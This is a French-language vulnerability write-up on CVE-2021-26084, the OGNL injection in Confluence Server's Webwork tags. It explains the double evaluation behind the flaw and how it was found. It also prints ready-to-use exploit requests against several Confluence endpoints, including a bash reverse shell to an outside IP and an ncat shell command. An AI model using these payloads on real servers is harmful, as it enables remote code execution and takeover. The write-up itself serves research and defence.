
CVE-2021-26084 - Confluence Server Webwork OGNL injection
Ce write-up donne un aperçu de CVE-2021-26084 - injection OGNL Webwork dans Confluence Server [1] qui permettrait à un utilisateur authentifié d'exécuter du code arbitraire sur une instance Confluence Server ou Data Center.
Confluence Server / Data Center utilise le framework MVC Webwork 2 pour traiter les requêtes web et la couche de vue est principalement constituée de templates Velocity. Une double évaluation est effectuée lorsque les templates Velocity utilisent des tags Webwork avec un attribut value contenant $. Lorsqu'un tag Webwork avec un attribut Value contenant un $ est rencontré, une première évaluation se produit lors de l'analyse du template Velocity ; cette valeur évaluée est ensuite transmise au tag Webwork qui évalue à son tour la valeur comme une expression OGNL. Si la classe d'action expose une fonction setter pour le paramètre utilisé dans l'attribut value, alors ce paramètre peut être défini depuis l'URL en utilisant les paramètres URL.. Ainsi, en concevant une URL avec une charge utile OGNL, un attaquant peut exécuter du code à distance sur les versions affectées de Confluence Server / Data Center.
# UnAuthenticated RCE - based on the awesome write-up at httpvoid; courtesy of Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob) [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'
# UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for Confluence < 7.12.14, a valid user account is required on the Confluence Server
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for for Confluence 7.12.14, the newSpaceKey parm is to be updated with the Space key of a space the user has Add Pages Permission
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# The payload below spawns a reverse shell to a remote host running a netcat listener.BurpSuite addon Hackvertor tags has been used for readability and has to be converted accordingly
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>
Les vulnérabilités d'injection par langage d'expression apparaissent lorsqu'une application incorpore des données contrôlables par l'utilisateur dans une chaîne qui est évaluée dynamiquement par un interpréteur de code. Si les données utilisateur ne sont pas strictement validées, un attaquant peut utiliser une entrée spécialement conçue pour modifier le code à exécuter et injecter du code arbitraire qui sera exécuté par le serveur [2]. L'Object-Graph Navigation Language (OGNL) [3] est un langage d'expression pour manipuler les objets Java. Lorsqu'une vulnérabilité d'injection OGNL est présente, il est possible pour l'attaquant d'injecter des expressions OGNL qui peuvent ensuite être utilisées pour exécuter du code Java arbitraire. En plus de la lecture/écriture de propriétés, OGNL prend en charge de nombreuses autres fonctionnalités, dont celles-ci semblent intéressantes du point de vue du développement d'exploits :
Appel de méthode statique : @java.lang.Runtime@getRuntime()
Appel de constructeur : new java.lang.String[]{'/bin/bash','-c', 'xcalc'}
Capacité à travailler avec des variables de contexte : #attr["webwork.valueStack"]
Appel de méthode : #attr["webwork.valueStack"].findValue()
En combinant les éléments ci-dessus, une expression OGNL valide peut être formée. Une expression OGNL typique est présentée ci-dessous :
@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')
WebWork 2 est un framework MVC de type pull, construit sur une API de framework de commandes appelée XWork et est le prédécesseur du populaire Apache Struts2. Confluence utilise WebWork 2 d'OpenSymphony pour traiter les requêtes web soumises par les utilisateurs. Webwork prend en charge un puissant langage d'expression basé sur OGNL pour naviguer dans sa pile d'objets (également appelée ValueStack). Il prend également en charge plusieurs technologies de vue, notamment JSP, FreeMarker, Velocity et fournit également une riche bibliothèque de tags. « WebWork : Strutting the OpenSymphony way » par Mike Cannon-Brookes [4] fournit une excellente vue d'ensemble du framework Webwork 2. Parmi les éléments particulièrement intéressants pour cette vulnérabilité, on peut citer le support de Webwork pour :
La détection de la vulnérabilité a principalement impliqué une approche de test en boîte blanche où l'instrumentation du code source a été utilisée pour analyser l'évaluation OGNL. Suite à l'excellente recherche du chercheur GHSL Man Yue Mo sur l'injection OGNL dans Apache Struts [5] [6] [7], il a été remarqué que la méthode evaluateParams de la classe UIBean constituait un candidat intéressant. La base de code de la bibliothèque webwork dans Confluence Data Center (atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar) a été extraite à l'aide de JD GUI et analysée pour rechercher des méthodes similaires à evaluateParams. La correspondance la plus proche était la méthode protected void evaluateParams(OgnlValueStack stack) dans com.opensymphony.webwork.views.jsp.ui.AbstractUITag. L'analyse du code source a en outre révélé qu'il existe une classe com.opensymphony.webwork.util.SafeExpressionUtil qui bloquait la majorité des charges utiles OGNL.